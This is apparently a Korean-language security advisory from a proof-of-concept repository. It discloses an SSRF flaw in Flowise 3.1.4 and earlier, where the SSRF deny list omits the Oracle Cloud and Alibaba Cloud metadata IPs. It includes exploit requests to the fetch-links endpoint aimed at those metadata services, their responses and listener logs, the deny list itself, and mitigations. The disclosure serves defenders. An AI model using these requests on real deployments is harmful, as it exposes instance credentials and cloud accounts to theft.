abdugafforov-bobur/cve-2026-67620-pocCVE-2026-67620 - 불완전한 클라우드 메타데이터 차단 목록을 통한 Flowise SSRF (Oracle OCI 192.0.0.192 + Alibaba 100.100.100.200이 DEFAULT_DENY_LIST를 우회)
제품: FlowiseAI/Flowise — 비주얼 LLM / AI 에이전트 빌더 (~54k ★)
영향받는 버전: ≤ 3.1.4 — 최신 릴리스인 3.1.4에서도 여전히 취약함이 확인됨 (2026-08-06 재검증)
취약점: 불완전한 거부 목록으로 인한 서버 측 요청 위조(SSRF)
CWE: CWE-918 (SSRF) · CWE-184 (불완전한 금지 입력 목록)
심각도: 중간 — CVSS 3.1 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
발견일: 2026-07-10 · VulnCheck(CVD)에 보고: 2026-07-15
연구자: Bobur Abdugafforov (Mahadsec)
벤더 상태 — 패치는 발행되지 않을 예정입니다. Flowise 프로젝트는 공식적으로 서비스가 종료되었으며 더 이상 보안 취약점 보고를 받지 않습니다. 이 권고문은 여전히 Flowise를 운영 중인 운영자가 스스로 문제를 완화할 수 있도록 공개됩니다.
Flowise는 클라우드 인스턴스 메타데이터 서비스에 대한 요청을 차단하는 SSRF 가드를 제공합니다. 이
거부 목록은 AWS, GCP, Azure 및 DigitalOcean에서 사용하는 169.254.0.0/16 링크 로컬
범위를 포함하지만, 해당 범위에 속하지 않는 두 개의 메타데이터 주소를 누락하고 있습니다:
| 클라우드 | 메타데이터 IP | 거부 목록에 포함? |
|---|---|---|
| AWS / GCP / Azure / DigitalOcean | 169.254.169.254 | ✅ 차단됨 |
| Oracle Cloud (OCI) | 192.0.0.192 | ❌ 차단되지 않음 |
| Alibaba Cloud | 100.100.100.200 | ❌ 차단되지 않음 |
공식 flowiseai/flowise:3.1.4
Docker 이미지(.../flowise-components/dist/src/httpSecurity.js)에 포함된 전체 DEFAULT_DENY_LIST는 다음과 같습니다:
'0.0.0.0', '10.0.0.0/8', '127.0.0.0/8', '169.254.0.0/16', '169.254.169.253',
'169.254.169.254', '172.16.0.0/12', '192.168.0.0/16', '224.0.0.0/4', '240.0.0.0/4',
'255.255.255.255/32', '::1', 'fc00::/7', 'fd00:ec2::254', 'fe80::/10', 'ff00::/8',
'localhost', 'ip6-localhost'
18개 항목. 192.0.0.192와 100.100.100.200은 모두 나타나지 않으며, 나열된 어떤 CIDR에도
포함되지 않습니다. 192.168.0.0/16은 192.0.0.192를 포함하지 않으며,
100.64.0.0/10(CGNAT) 항목은 아예 존재하지 않습니다.
이 목록은 3.1.2와 3.1.4 사이에서 바이트 단위로 동일합니다. 해당 릴리스들에 걸쳐
httpSecurity.ts의 유일한 변경은 isDeniedIP() 내부의 IPv4-매핑 IPv6 정규화이며,
이는 두 개의 일반 IPv4 주소에는 영향을 미칠 수 없습니다.
누락된 두 주소 중 어느 것도 기존의 사설 또는 링크-로컬 CIDR에 포함되지 않습니다:
192.0.0.192는 IETF 프로토콜 할당 블록 192.0.0.0/24 내에 있어 전 세계적으로
라우팅 가능한 것처럼 보이며, 100.100.100.200은 CGNAT 범위 100.64.0.0/10에 위치하는데,
이는 거부 목록에서 역시 다루지 않습니다. 따라서 "메타데이터 IP"와 링크-로컬 범위를
열거하여 구축한 가드는 두 주소 모두 놓칩니다.
인증된 사용자는 Flowise 서버가 이 주소들로 임의의 GET 요청을 발행하도록 강제할 수 있습니다. OCI 또는 Alibaba Cloud 배포에서는 이것이 인스턴스 메타데이터 서비스에 도달하며, 해당 서비스는 인스턴스 신원 및 자격 증명 자료를 제공합니다.
packages/components/src/httpSecurity.ts — DEFAULT_DENY_LIST
(컴파일됨: httpSecurity.js:31-50)
이 목록에는 169.254.169.254와 169.254.0.0/16 범위가 포함되어 있지만,
192.0.0.192, 100.100.100.200, 또는 100.64.0.0/10 CGNAT 범위는 포함하지 않습니다.
요청 흐름: GET /api/v1/fetch-links → checkDenyList(url) → webCrawl을 통한
secureFetch(). secureFetch는 리다이렉트 대상을 올바르게 재검증하므로 리다이렉트 기반
우회는 처리됩니다 — 결함은 목록의 내용에 있으며, 이는 누락된 IP 중 하나로의 리다이렉트가
직접 요청과 마찬가지로 검증을 통과한다는 것을 의미합니다.
fetch-links 라우트에는 checkPermission 미들웨어가 없으므로, 모든 인증된
세션이 역할에 관계없이 이 라우트에 접근할 수 있습니다.
GET /api/v1/fetch-links?url=<target>&relativeLinksMethod=webCrawl&limit=1
사용자가 제공한 URL로 secureFetch / secureAxiosRequest를 통해 라우팅되는 모든 노드가 동일한 차단 목록의 영향을 받습니다. 예를 들어 웹 스크래퍼 노드와 HTTP 요청 노드가 그렇습니다.
도달 가능성에 관한 참고: 이 문제는 공개된 채팅플로우에 URL을 가져오는 노드가 존재할 경우, 공개된 POST /api/v1/prediction/:id 엔드포인트를 통해 인증 없이 추가로 도달할 수 있습니다.
192.0.0.192:80 및 100.100.100.200:80에 바인딩된 리스너와 함께 실행 중인 로컬 Flowise 3.1.2 인스턴스에 대해 동적으로 확인되었습니다.
대조군 — AWS/GCP/Azure 메타데이터 IP는 올바르게 차단됨:
GET /api/v1/fetch-links?url=http://169.254.169.254/latest/meta-data/&relativeLinksMethod=webCrawl&limit=1
HTTP/1.1 500
isDeniedIP: Error: Access to this host is denied by policy.
우회 1 — Oracle Cloud 메타데이터:
GET /api/v1/fetch-links?url=http://192.0.0.192/opc/v1/instance/&relativeLinksMethod=webCrawl&limit=1
HTTP/1.1 200
{"status":"OK","links":["http://192.0.0.192/opc/v1/instance"]}
우회 2 — Alibaba Cloud 메타데이터:
GET /api/v1/fetch-links?url=http://100.100.100.200/&relativeLinksMethod=webCrawl&limit=1
HTTP/1.1 200
리스너에서 관찰된 서버 측 요청 (가져오기가 클라이언트가 아닌 Flowise 서버에서 발생했음을 입증):
# OCI listener
192.0.0.192 - - [11/Jul/2026 04:34:35] "GET /opc/v1/instance/ HTTP/1.1" 404 -
192.0.0.192 - - [11/Jul/2026 04:34:54] "GET /opc/v1/instance HTTP/1.1" 404 -
# Alibaba listener
100.100.100.200 - - [11/Jul/2026 04:34:35] "GET / HTTP/1.1" 200 -
100.100.100.200 - - [11/Jul/2026 04:34:54] "GET / HTTP/1.1" 200 -
PoC 스크립트는 poc.py로 포함되어 있습니다.
인증된 모든 Flowise 사용자 — 그리고 URL을 가져오는 노드가 공개 chatflow에 위치한 경우 인증되지 않은 모든 방문자 — 는 서버가 Oracle Cloud 및 Alibaba Cloud 인스턴스 메타데이터 서비스로 GET 요청을 보내도록 만들 수 있으며, 이는 제품이 다른 공급자에 대해서는 명시적으로 차단하려고 시도하는 대상입니다.
영향을 받는 배포에서는 이로 인해 인스턴스 신원 데이터와 인스턴스 역할 자격 증명을 제공하는
메타데이터 엔드포인트가 노출되며, 이를 통해 피해자의 클라우드 계정에 대한 추가 접근이
이어집니다. 더 넓게 보면, 동일한 결함으로 인해 100.64.0.0/10 CGNAT
범위로의 요청이 허용되며, 이 범위는 많은 공급자 네트워크 내부에서 라우팅 가능합니다.
심각도는 악용을 위해 Flowise 인스턴스가 OCI 또는 Alibaba Cloud에 호스팅되어야 한다는 점을 반영합니다. 결함 자체 — 불완전한 거부 목록 — 는 공급자와 무관합니다.
공급업체 패치는 제공되지 않을 예정이며, 프로젝트는 종료되었습니다. 운영자는 다음을 수행해야 합니다:
192.0.0.0/24
및 100.64.0.0/10을 거부하는 이그레스 규칙 — 애플리케이션은 수정할 수 없기
때문입니다.PUT으로 획득한 토큰을 요구하는 공급자 동등 기능) 그래서
단순한 SSRF GET이 자격 증명을 검색할 수 없도록 하십시오.로컬 포크를 패치하는 경우,
packages/components/src/httpSecurity.ts의 DEFAULT_DENY_LIST에 다음을 추가하십시오: 192.0.0.192, 100.100.100.200, 그리고
범위 192.0.0.0/24 및 100.64.0.0/10.
| 날짜 | 이벤트 |
|---|---|
| 2026-07-10 | 취약점 발견 및 라이브 로컬 인스턴스에서 확인 |
| 2026-07-15 | 조정된 공개를 위해 VulnCheck에 보고 |
| 2026-08 | VulnCheck는 프로젝트가 종료되었으며 더 이상 보고를 받지 않는다고 통보; CVE-2026-67620 할당 및 공개 공개 승인 |
| — | 공개 공개 (본 권고문) |
Bobur Abdugafforov — Mahadsec
본 권고문과 PoC는 방어 및 교육 목적으로 공개됩니다. 소유하거나 테스트 권한이 있는 시스템만 테스트하십시오.